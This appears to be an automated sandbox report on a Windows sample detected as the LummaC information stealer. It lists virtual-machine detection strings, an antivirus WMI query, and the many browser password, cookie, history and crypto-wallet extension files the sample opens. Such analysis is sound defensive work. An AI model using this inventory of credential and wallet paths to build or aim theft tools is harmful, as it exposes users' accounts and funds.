Source: Amcache.hve.0.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.0.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.0.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.0.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500676078.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.0.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.0.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.0.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274063330.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Amcache.hve.0.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: SC3sPWT51E.exe, 00000000.00000002.2500544621.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.0.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.0.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.0.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.0.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: SC3sPWT51E.exe, SC3sPWT51E.exe, 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500676078.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
